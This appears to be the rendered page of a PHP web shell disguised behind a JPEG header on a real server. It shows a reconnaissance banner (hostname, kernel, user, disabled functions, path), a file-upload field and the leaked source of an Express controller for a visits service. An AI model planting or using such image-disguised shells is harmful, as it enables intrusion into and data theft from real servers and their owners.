ÿØÿà JFIF ` ` ÿþ
|
Server : Apache System : Linux cloud.heroica.com.br 4.18.0-553.36.1.el8_10.x86_64 #1 SMP Wed Jan 22 03:07:54 EST 2025 x86_64 User : farolpborg ( 1053) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /var/www/node_services/sebraevisitas/src/controllers/ |
Upload File : |
import { NextFunction, Request, Response } from "express";
import VisitaServices from "../services/VisitaServices";
const VisitaControllers = class VisitaControllers {
static async create(req: Request, res: Response, next: NextFunction) {
try {
const created = await VisitaServices.create(req.body);
return res.status(201).json(created);
} catch (err) { return next(err); }
}
static async list(req: Request, res: Response, next: NextFunction) {
try {
const { startDate, endDate, agentId, userId, agente } = req.query as Record<string, string>;
console.log(req.query);
const items = await VisitaServices.list({
startDate,
endDate,
agentId: agentId || userId || agente,
});
return res.json(items);
} catch (err) { return next(err); }
}
static async getById(req: Request, res: Response, next: NextFunction) {
try {
const item = await VisitaServices.getById(req.params.id);
return res.json(item);
} catch (err) { return next(err); }
}
static async update(req: Request, res: Response, next: NextFunction) {
try {
const updated = await VisitaServices.update(req.params.id, req.body);
return res.json(updated);
} catch (err) { return next(err); }
}
static async remove(req: Request, res: Response, next: NextFunction) {
try {
const result = await VisitaServices.remove(req.params.id);
return res.json(result);
} catch (err) {
return next(err);
}
}
static async getRecordingById(req: Request, res: Response, next: NextFunction) {
try {
const item = await VisitaServices.getRecordingById(req.params.id);
return res.json(item);
}catch (err) {
console.log(err);
return next(err);
}
}
};
export default VisitaControllers;